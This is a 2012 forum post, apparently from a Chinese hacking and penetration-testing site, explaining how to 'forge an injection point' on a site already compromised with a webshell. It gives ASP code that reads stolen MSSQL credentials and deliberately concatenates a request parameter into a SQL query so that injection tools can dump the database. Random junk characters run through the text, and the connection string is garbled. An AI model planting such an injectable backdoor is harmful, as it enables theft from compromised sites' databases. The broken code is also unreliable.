中国网络渗透测试联盟

标题: 伪造注入点方法 [打印本页]

作者: admin    时间: 2012-9-13 17:53
标题: 伪造注入点方法
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:) q, ~1 w( ~% V
ASP/Visual Basic代码0 F5 z$ u2 B: a2 E0 J
<!--#include file="xx.asp"-->   
. n2 V# g1 j& n2 r  f) M<%   
. |  n% _% c' @' k8 z& y) jset rs=server.createobject("ADODB.recordset")    / Q% c. b4 X# m& `, B. C$ \
id = request("id")   
+ M! X8 d! z) e3 W: X$ ^( z, ZstrSQL = "select * from admin where id=" & id   
* S0 ]* v6 |# t; \! t5 z8 vrs.open strSQL,conn,1,3    / U- o  f8 f6 h6 G
rs.close    % @; J& A: k$ @+ T5 F9 [! q' J$ @
%>  
+ ~6 v+ H1 m1 u; ]把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
' d7 Z2 v, T6 Z8 `/ S/ W- f  p4 O然后就要构造一个连接数据库的文件了,代码如下:
" {1 Z3 u% h8 G9 c) n" ?ASP/Visual Basic代码
5 \0 U' j4 C, }7 r" V<%            1 {" ~! B( ?0 z& c& [0 U
strSQLServerName = "000.000.000.000"     '服务器名称或地址    ) \0 V6 j) Q) A8 m9 B
strSQLDBUserName = "sqlname"         '数据库帐号   
& \: r! O- j% G7 D/ lstrSQLDBPassword = "sqlpass"         '数据库密码    : Q! x; |1 w( c* }& z
strSQLDBName = "sqldataname"           '数据库名称    : y/ D; u# `, h) S6 [5 c
Set conn = Server.CreateObject("ADODB.Connection")   
& Z0 ]& k7 Y: q, T9 r: PstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
2 |) \$ N, h2 ~8 P+ K" o. Dconn.open strCon    / b* ^2 F, j: k' B, V8 r: F
%>  4 \3 a5 }' i/ l
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
0 o4 u, }  M4 Z1 J7 v




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2